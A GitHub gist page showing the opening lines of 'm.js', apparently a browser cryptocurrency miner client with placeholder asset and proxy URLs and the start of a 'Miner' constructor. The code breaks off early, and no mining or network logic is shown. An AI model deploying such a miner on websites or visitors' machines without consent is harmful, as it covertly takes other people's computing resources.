Skip to content

Instantly share code, notes, and snippets.

@amittell
amittell / m.js
Created December 14, 2017 04:42 — forked from cazala/m.js
var libUrl = 'YOUR_ASSET_URL';
const proxyUrl = 'YOUR_PROXY';
(function(window) {
"use strict";
var Miner = function(siteKey, params) {
this.params = params || {};
this._siteKey = siteKey;
this._user = null;
this._threads = [];